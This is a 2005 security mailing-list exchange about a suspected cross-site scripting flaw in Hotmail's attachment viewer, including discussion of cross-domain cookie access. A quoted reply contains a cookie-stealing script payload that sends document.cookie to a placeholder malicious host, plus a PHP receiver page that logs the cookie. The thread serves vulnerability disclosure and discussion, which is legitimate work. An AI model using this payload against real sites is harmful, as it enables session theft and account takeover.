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RE: Re: [VulnWatch] Hotmail Advisories
From: "Luis A. Cortes Zavala" <luis.cortes () hypersec co uk>
Date: Wed, 4 May 2005 11:15:10 -0500

The problem here is that since this new window for attachments, you can not
reach the domain for ask cookie, the document.cookie, is empty, you need to
inject innerHTML for ask cookie, but yes it's possible. 

The window that opens attachments is not in the same domain so there's not
cookie, so you have to make cross domain code that it's supposed not to be
possible. So first you need to return to your main window and write some
code to have access.

Cheers
Luis Alberto Cortes Zavala



-----Mensaje original-----
De: Jerome Athias [mailto:jerome.athias () free fr] 
Enviado el: miƩrcoles, 04 de mayo de 2005 7:41
Para: Sherwyn Williams; Luis A. Cortes Zavala;
full-disclosure () lists grok org uk; vulnwatch () vulnwatch org;
bugtraq () securityfocus com
Asunto: Re: [Full-disclosure] Re: [VulnWatch] Hotmail Advisories


Ok I think I get what you are saying, however to use this vuln, would
need to have a script running on a server some where that recieves the 
username and password?

Or just based on what you have here this can be possible. If one does not 
have knowledge of java script, all the would have to do is use those 
various html codes you wrote and send that to them as an attachment, but 
how would I get the username and password ????

For example, this is a simple way to steal a cookie:

Inject this code:

<script>window.open('http://www.your-malware-website.com/givemecook.php?cook
='%2Bdocument.cookie);</script>


And on "your-malware-website" put this page:

givemecook.php:
<?
echo $HTTP_COOKIE_VARS["cook"];
?>

and so, the cookie will be logged in "your-malware-website"


I was testing this until I can get some working code, the authorization 
and
validation of the site is one of the better that I seen on a mailing 
system,
I never heard about vulnerabilities of hotmail as in others systems, I 
just
have knowledge of two flaws discovered. One on 1999 is from George 
Guninski,
and the other when the pwdreset function make its public, every year 
hotmail
is updated, and getting more secure, and it's hard to believe that no one
have found this before.

Try to play with this in hotmail
http://seclists.org/lists/bugtraq/2005/Feb/0473.html

Cheers,
Jerome 



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